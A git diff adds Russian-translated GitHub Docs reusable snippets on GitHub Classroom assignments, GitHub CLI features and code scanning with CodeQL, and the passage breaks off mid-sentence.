c75449404b6bf46b419fd45939c1d8d7588e0b5f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113483" +--- +Для каждого группового задания {% data variables.product.prodname_classroom %} автоматически создает один общий репозиторий для доступа команды. Можно использовать пустой репозиторий или создать репозиторий из репозитория шаблонов с начальным кодом, документацией, тестами и другими ресурсами. Репозиторий принадлежит вашей корпоративной учетной записи в {% data variables.product.product_name %}, а {% data variables.product.prodname_classroom %} предоставляет доступ командам, которые учащиеся создают и к которым присоединяются, принимая задание. diff --git a/translations/ru-RU/data/reusables/classroom/classroom-creates-individual-repositories.md b/translations/ru-RU/data/reusables/classroom/classroom-creates-individual-repositories.md new file mode 100644 index 000000000000..5c106ffbdaed --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/classroom-creates-individual-repositories.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cb8f7834d2c461ece9f2b846f64bc70862fb297f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115736" +--- +Когда учащийся принимает задание, {% data variables.product.prodname_classroom %} автоматически создает новый репозиторий для учащегося. Репозитории могут быть пустыми или создавать репозитории из репозитория шаблонов с начальным кодом, документацией, тестами и другими ресурсами. Каждый репозиторий заданий принадлежит вашей учетной записи организации в {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/classroom/classroom-enables-invitation-urls.md b/translations/ru-RU/data/reusables/classroom/classroom-enables-invitation-urls.md new file mode 100644 index 000000000000..7c07816c768f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/classroom-enables-invitation-urls.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ae8edfa14d6a28843c2b039e3e726b5ae1a1231d +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785889" +--- +По умолчанию {% data variables.product.prodname_classroom %} включает URL-адрес приглашения для каждого создаваемого задания. Учащиеся могут принимать и отправлять задание, пока включен URL-адрес приглашения. Вы можете делиться URL-адресом с учащимися в LMS, на домашней странице курса и на любой странице, где вы публикуете задания. Учащийся также может перейти к заданию в {% data variables.product.prodname_classroom %}, если он уже принял задание для аудитории. diff --git a/translations/ru-RU/data/reusables/classroom/click-assignment-in-list.md b/translations/ru-RU/data/reusables/classroom/click-assignment-in-list.md new file mode 100644 index 000000000000..5c6ee8270c34 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/click-assignment-in-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b507dd0efebc0fc8eef0f1b40ec6e26be4b800c4 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879592" +--- +1. В списке назначений выберите назначение, которое хотите просмотреть. + ![Назначение в списке назначений для аудитории](/assets/images/help/classroom/click-assignment-in-list.png) diff --git a/translations/ru-RU/data/reusables/classroom/click-classroom-in-list.md b/translations/ru-RU/data/reusables/classroom/click-classroom-in-list.md new file mode 100644 index 000000000000..e16558009d39 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/click-classroom-in-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 03d15afdd8b3d28e7b6520d1ad1c4d63861d50cf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113472" +--- +1. В списке аудиторий выберите аудиторию, которую хотите просмотреть. + ![Аудитория в списке аудиторий для организации](/assets/images/help/classroom/click-classroom-in-list.png) diff --git a/translations/ru-RU/data/reusables/classroom/click-settings.md b/translations/ru-RU/data/reusables/classroom/click-settings.md new file mode 100644 index 000000000000..b1615691a3c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/click-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8c27348c5cd4c6de9c360475ce96f5a2d3b08386 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115728" +--- +1. Нажмите **Параметры** {% octicon "gear" aria-label="The gear icon" %} под названием аудитории. + ![Вкладка "Параметры" для аудитории](/assets/images/help/classroom/click-settings.png) diff --git a/translations/ru-RU/data/reusables/classroom/click-students.md b/translations/ru-RU/data/reusables/classroom/click-students.md new file mode 100644 index 000000000000..fa4780cbf397 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/click-students.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e7bafc944ab3c6a3a80bc17a901c4b30bd6e3d56 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884448" +--- +1. Нажмите **Учащиеся** {% octicon "people" aria-label="The people icon" %} под названием аудитории. + ![Вкладка "Учащиеся" для аудитории](/assets/images/help/classroom/click-students.png) diff --git a/translations/ru-RU/data/reusables/classroom/for-more-information-about-assignment-creation.md b/translations/ru-RU/data/reusables/classroom/for-more-information-about-assignment-creation.md new file mode 100644 index 000000000000..376aaf6c37d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/for-more-information-about-assignment-creation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3f235dee08016f22509c1ccc257870dd5334817c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885519" +--- +Дополнительные сведения см. в разделе [Создание отдельного назначения](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) или [Создание назначения группы](/education/manage-coursework-with-github-classroom/create-a-group-assignment). diff --git a/translations/ru-RU/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md b/translations/ru-RU/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md new file mode 100644 index 000000000000..0ea52f7ed4e3 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ba5ec94d0459085d82169869efc5ce103951adaa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113464" +--- +{% note %} + +**Примечание.** Преимущество для образования {% data variables.product.prodname_codespaces %} в настоящее время находится в общедоступной бета-версии и может быть изменено. Во время действия бета-версии с организации не будет взиматься плата, если вы превысите бесплатное пособие. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/classroom/google-classroom-note.md b/translations/ru-RU/data/reusables/classroom/google-classroom-note.md new file mode 100644 index 000000000000..3724084a0817 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/google-classroom-note.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0b6aa145b4246045ec4adb8b84f36ea59faa867e +ms.sourcegitcommit: bafb4fe4c8c086a510eafee6e54a2d172fd3a01b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/16/2022 +ms.locfileid: "148046569" +--- +Google Classroom не использует протокол LTI, поэтому не нужно подключаться к GitHub Classroom перед импортом списка. Дополнительные сведения см. в разделе "[Импорт списка из Google Classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom#importing-a-roster-from-google-classroom)". diff --git a/translations/ru-RU/data/reusables/classroom/guide-create-new-classroom.md b/translations/ru-RU/data/reusables/classroom/guide-create-new-classroom.md new file mode 100644 index 000000000000..f01b8876fff3 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/guide-create-new-classroom.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 1d8413e3a645424df038cd5e6ea3544921f9b1b0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115720" +--- +1. В списке организаций выберите организацию, которую хотите использовать для своей аудитории. При необходимости создайте новую организацию. Дополнительные сведения см. в статье [Создание новой организации с нуля](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). + ![Организация в списке организаций для создания новой аудитории](/assets/images/help/classroom/click-organization.png) +1. Введите имя для аудитории. + ![Текстовое поле для ввода имени аудитории](/assets/images/help/classroom/type-classroom-name.png) +1. Нажмите кнопку **Создать аудиторию**. + ![Текстовое поле для ввода имени аудитории](/assets/images/help/classroom/click-create-classroom-button.png) diff --git a/translations/ru-RU/data/reusables/classroom/invitation-url-warning.md b/translations/ru-RU/data/reusables/classroom/invitation-url-warning.md new file mode 100644 index 000000000000..bcb1e7d27c99 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/invitation-url-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0d7f8a0c98835986cada9614823707177dca7594 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113451" +--- +{% warning %} + +**Предупреждение**. Будьте осторожны, передавая URL-адреса приглашений. Любой пользователь с URL-адресом приглашения в задание может принять приглашение и связать учетную запись пользователя в {% data variables.product.product_name %} с идентификатором в списке. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/classroom/readme-contains-button-for-online-ide.md b/translations/ru-RU/data/reusables/classroom/readme-contains-button-for-online-ide.md new file mode 100644 index 000000000000..6861b568ff94 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/readme-contains-button-for-online-ide.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 50bcd5a6f5429ab78a5891e88e5363444631b333 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115715" +--- +Когда учащийся принимает задание в интегрированной среде разработки, репозиторий заданий включает файл _README.md_ со специальной кнопкой в верхней части файла. Кнопка связывает учащегося непосредственно с рабочей областью в интегрированной среде разработки. diff --git a/translations/ru-RU/data/reusables/classroom/reuse-assignment-link.md b/translations/ru-RU/data/reusables/classroom/reuse-assignment-link.md new file mode 100644 index 000000000000..cd1c5a22f00f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/reuse-assignment-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 70ff7b229b0b72a1c2e0c4dcf4301e7ca24138ce +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067085" +--- +Можно повторно использовать существующие назначения в любом другом классе, к которому у вас есть доступ администратора, включая классы в другой организации. Подробнее об этом см. в разделе [Повторное использование назначения](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). diff --git a/translations/ru-RU/data/reusables/classroom/sign-into-github-classroom.md b/translations/ru-RU/data/reusables/classroom/sign-into-github-classroom.md new file mode 100644 index 000000000000..1867d5fdb66a --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/sign-into-github-classroom.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e12a3d84d6f4530e7b35fb353eb020a3d6594830 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115712" +--- +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. diff --git a/translations/ru-RU/data/reusables/classroom/supported-lmses.md b/translations/ru-RU/data/reusables/classroom/supported-lmses.md new file mode 100644 index 000000000000..dbe68f06331a --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/supported-lmses.md @@ -0,0 +1,29 @@ +--- +ms.openlocfilehash: 684a0bedb880d61bfdd2b2500115a87a7210c5f8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106968" +--- +{% data variables.product.prodname_classroom %} поддерживает подключение к LMS, реализующим стандарты взаимодействия средств обучения (LTI). + +- LTI версии 1.3 +- Преимущество LTI + +Использование LTI помогает обеспечить безопасность информации. LTI — это протокол, который является стандартом в отрасли, и использование GItHub Classroom LTI сертифицировано Instructional Management System (IMS) Global Learning Consortium. Дополнительные сведения можно найти на страницах [Взаимодействие средств обучения](https://www.imsglobal.org/activity/learning-tools-interoperability) и [Сведения о IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) на веб-сайте IMS Global Learning Consortium. + +{% data variables.product.company_short %} протестировал и проверил регистрацию, подключение и импорт данных реестра из следующих LMS в {% data variables.product.prodname_classroom %}. + +- Холст +- Moodle +- Sakai. +- Google Classroom; + +{% note %} + +**Примечание:** Другие LMS, реализующие LTI 1.3, также могут работать с {% data variables.product.prodname_classroom %}, но еще не проверены. Администраторам LMS может потребоваться настроить настраиваемые параметры конфиденциальности и размещения кнопок, а также предоставить преподавателям документацию по запуску {% data variables.product.prodname_classroom %} из LMS. + +{% endnote %} + +{% data reusables.classroom.google-classroom-note %} diff --git a/translations/ru-RU/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md b/translations/ru-RU/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md new file mode 100644 index 000000000000..97dd9ffb5d55 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cb8e00d564b4a247cdf24538c965617f67cf08b0 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785825" +--- +В разделе "Добавить тесты с автоматической оценкой" выберите раскрывающееся меню **Добавить тест**, а затем метод оценки, который хотите использовать. diff --git a/translations/ru-RU/data/reusables/classroom/you-can-choose-a-template-repository.md b/translations/ru-RU/data/reusables/classroom/you-can-choose-a-template-repository.md new file mode 100644 index 000000000000..4d82f43505f2 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/you-can-choose-a-template-repository.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 0fa7a5896099da79770eb66342763803d065b9f8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115675" +--- +При необходимости можно выбрать репозиторий шаблонов как начальный код для назначения. Дополнительные сведения о репозиториях шаблонов см. в разделе [Создание репозитория шаблонов](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository). + +{% note %} + +**Примечание:** Репозиторий шаблонов должен принадлежать вашей организации или быть общедоступным репозиторием для {% data variables.product.product_name %}. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md b/translations/ru-RU/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md new file mode 100644 index 000000000000..5e9adff83173 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0615f14c16ac8999a0ee6444a4f6cfb08cd6e9c6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113416" +--- +Можно создать запрос на вытягивание, позволяющий отправить отзыв и ответить на вопросы учащегося о задании, автоматически. Дополнительные сведения о проверке изменений в запросе на вытягивание см. в разделе [Просмотр изменений в запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests). diff --git a/translations/ru-RU/data/reusables/cli/about-cli.md b/translations/ru-RU/data/reusables/cli/about-cli.md new file mode 100644 index 000000000000..3e0ab9e54a0a --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/about-cli.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cdfd25a90c97ccbbef320eba7a476e543445f9dc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115672" +--- +{% data variables.product.prodname_cli %} — это инструмент с открытым исходным кодом для использования {% data variables.product.prodname_dotcom %} из командной строки компьютера. При работе с командной строкой можно использовать {% data variables.product.prodname_cli %} — это позволит экономить время и не переключать контекст. diff --git a/translations/ru-RU/data/reusables/cli/cli-extensions.md b/translations/ru-RU/data/reusables/cli/cli-extensions.md new file mode 100644 index 000000000000..a6fcd0793dec --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/cli-extensions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 63d689d083277519c899d9b7e7885145979d4ac4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113411" +--- +Расширения {% data variables.product.prodname_cli %} — это пользовательские команды {% data variables.product.prodname_cli %}, которые может создавать и применять любой пользователь. diff --git a/translations/ru-RU/data/reusables/cli/cli-features.md b/translations/ru-RU/data/reusables/cli/cli-features.md new file mode 100644 index 000000000000..34fdc4af164b --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/cli-features.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 58ce231d8ece478ea6b0108c2cd705a3282ee2f1 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145115667" +--- +{% data variables.product.prodname_cli %} включает следующие функции {% data variables.product.prodname_dotcom %}: + +- Просмотр, создание, клонирование и ветвление репозиториев +- Создание, закрытие, изменение и просмотр проблем и запросов на вытягивание +- Просмотр, сравнение и объединение запросов на вытягивание +- Выполнение, просмотр и перечисление рабочих процессов +- Создание, перечисление, просмотр и удаление выпусков +- Создание, изменение, перечисление, просмотр и удаление gist{% ifversion fpt %} +- Перечисление, создание, удаление и подключение к кодовому пространству{% endif %} diff --git a/translations/ru-RU/data/reusables/cli/cli-installation.md b/translations/ru-RU/data/reusables/cli/cli-installation.md new file mode 100644 index 000000000000..0f74b322f556 --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/cli-installation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c2f6f24d4a59a2eae533eb8d042cefa6f5242316 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113403" +--- +Инструкции по установке для {% data variables.product.prodname_cli %} см. в [репозитории {% data variables.product.prodname_cli %}](https://github.com/cli/cli#installation). diff --git a/translations/ru-RU/data/reusables/cli/cli-intro.md b/translations/ru-RU/data/reusables/cli/cli-intro.md new file mode 100644 index 000000000000..327681e58a9c --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/cli-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd10d76cc8f39e0b02842d6a060d7d48ea9fd0da +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879018" +--- +{% data variables.product.prodname_cli %} — это программа командной строки, которая предоставляет запросы на вытягивание, проблемы, {% data variables.product.prodname_actions %} и другие функции {% data variables.product.product_name %} в терминале, чтобы вы могли выполнять всю работу в одном месте. diff --git a/translations/ru-RU/data/reusables/cli/cli-learn-more.md b/translations/ru-RU/data/reusables/cli/cli-learn-more.md new file mode 100644 index 000000000000..4ac2181ed555 --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/cli-learn-more.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 73ae86d05e180c05ed17b0fe5ab0df7e05c8ba7f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113395" +--- +{% note %} + +Дополнительные сведения о {% data variables.product.prodname_cli %} см. в статье [Сведения о {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/cli/filter-issues-and-pull-requests-tip.md b/translations/ru-RU/data/reusables/cli/filter-issues-and-pull-requests-tip.md new file mode 100644 index 000000000000..0a0b55b78ad5 --- /dev/null +++ b/translations/ru-RU/data/reusables/cli/filter-issues-and-pull-requests-tip.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 56c901bc9d118c26b3dffc0b75914e612b697798 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115656" +--- +{% tip %} + +**Совет.** Вы также можете фильтровать проблемы или запросы на вытягивание, используя {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh issue list`](https://cli.github.com/manual/gh_issue_list) или [`gh pr list`](https://cli.github.com/manual/gh_pr_list)" документации по {% data variables.product.prodname_cli %}. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/code-scanning/about-analysis-origins-link.md b/translations/ru-RU/data/reusables/code-scanning/about-analysis-origins-link.md new file mode 100644 index 000000000000..02bef067aaf8 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/about-analysis-origins-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c1a30bfa8099fa1ba685d4279d82b7e7b6ba67f7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147067397" +--- +При сканировании кода с использованием нескольких конфигураций можно получить оповещение с несколькими источниками анализа. Если оповещение имеет несколько источников анализа, состояние оповещения для каждого источника анализа можно посмотреть на странице оповещения. Дополнительные сведения см. в разделе [Сведения об источниках анализа](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins). diff --git a/translations/ru-RU/data/reusables/code-scanning/about-code-scanning.md b/translations/ru-RU/data/reusables/code-scanning/about-code-scanning.md new file mode 100644 index 000000000000..8ad49baa50ee --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/about-code-scanning.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 319c1d846b87c5e628122fe7bf3a50798af60ea8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115659" +--- +{% data variables.product.prodname_code_scanning_capc %} — это функция, применяемая для анализа кода в репозитории {% data variables.product.prodname_dotcom %} на предмет уязвимостей системы безопасности и ошибок кодирования. Все проблемы, обнаруженные в результате анализа, отображаются в {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/code-scanning/about-codeql-analysis.md b/translations/ru-RU/data/reusables/code-scanning/about-codeql-analysis.md new file mode 100644 index 000000000000..5f4c7a3f202c --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/about-codeql-analysis.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ecb8b9e2b37dd99b3a1bd53ab7c57aba7db87e88 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113387" +--- +{% data variables.product.prodname_codeql %} — это система анализа кода, разработанная {% data variables.product.company_short %} для автоматизации проверок безопасности. Код можно проанализировать, используя {% data variables.product.prodname_codeql %}, и отобразить результаты в виде оповещений {% data variables.product.prodname_code_scanning %}. diff --git a/translations/ru-RU/data/reusables/code-scanning/alert-default-branch.md b/translations/ru-RU/data/reusables/code-scanning/alert-default-branch.md new file mode 100644 index 000000000000..64c8bf332ebb --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/alert-default-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 758c743dc4e469cf175eb14e9ead9f8c4216c578 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063013" +--- +Состояние и сведения на странице оповещений отражают состояние оповещения только в ветви репозитория по умолчанию, даже если это оповещение существует в других ветвях. Состояние оповещения в ветвях, не являющихся ветвью по умолчанию, отображается в разделе **Затронутые ветви** в правой части страницы оповещений. Если оповещение не существует в ветви по умолчанию, его состояние оповещения отображается как "в запросе на вытягивание" или "в ветки" и выделяется серым цветом. diff --git a/translations/ru-RU/data/reusables/code-scanning/alert-tracking-link.md b/translations/ru-RU/data/reusables/code-scanning/alert-tracking-link.md new file mode 100644 index 000000000000..a547dea15e1d --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/alert-tracking-link.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 98ac3a2fc4fe4eb45613c506b36036dc3612c636 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113384" +--- + +Дополнительные сведения о создании проблем для отслеживания оповещений {% data variables.product.prodname_code_scanning %} см. в разделе [Отслеживание оповещений {% data variables.product.prodname_code_scanning %} в проблемах с помощью списков задач](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists). diff --git a/translations/ru-RU/data/reusables/code-scanning/alerts-found-in-generated-code.md b/translations/ru-RU/data/reusables/code-scanning/alerts-found-in-generated-code.md new file mode 100644 index 000000000000..7f8f459e7c68 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/alerts-found-in-generated-code.md @@ -0,0 +1,3 @@ +For compiled languages like Java,{% ifversion codeql-go-autobuild %} Go,{% endif %} C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build ony the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." + +For languages like{% ifversion codeql-go-autobuild %}{% else %} Go,{% endif %} JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without compiling the source code, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)." \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/code-scanning/analyze-go.md b/translations/ru-RU/data/reusables/code-scanning/analyze-go.md new file mode 100644 index 000000000000..08a31ad85870 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/analyze-go.md @@ -0,0 +1 @@ +For these languages, {% data variables.product.prodname_codeql %} analyzes the source files in your repository that are built. For any of these languages, you can disable `autobuild` and instead use custom build commands in order to analyze only the files that are built by these custom commands. diff --git a/translations/ru-RU/data/reusables/code-scanning/autobuild-add-build-steps.md b/translations/ru-RU/data/reusables/code-scanning/autobuild-add-build-steps.md new file mode 100644 index 000000000000..882cc2751749 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/autobuild-add-build-steps.md @@ -0,0 +1,2 @@ +If `autobuild` fails, or you want to analyze a different set of source files from those built by the `autobuild` process, you'll need to remove the `autobuild` step from the workflow, and manually add build steps. For C/C++, C#, Go, and Java projects, {% data variables.product.prodname_codeql %} will analyze whatever source code is built by your specified build steps. + diff --git a/translations/ru-RU/data/reusables/code-scanning/autobuild-compiled-languages.md b/translations/ru-RU/data/reusables/code-scanning/autobuild-compiled-languages.md new file mode 100644 index 000000000000..6b7cc27cc23d --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/autobuild-compiled-languages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 982b04961e4f780a5f1e284dad5620157f68569b +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: "148161065" +--- +Для поддерживаемых скомпилированных языков можно использовать `autobuild` действие в {% data variables.code-scanning.codeql_workflow %} для сборки кода. Это позволяет избежать необходимости указывать явные команды сборки для C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif 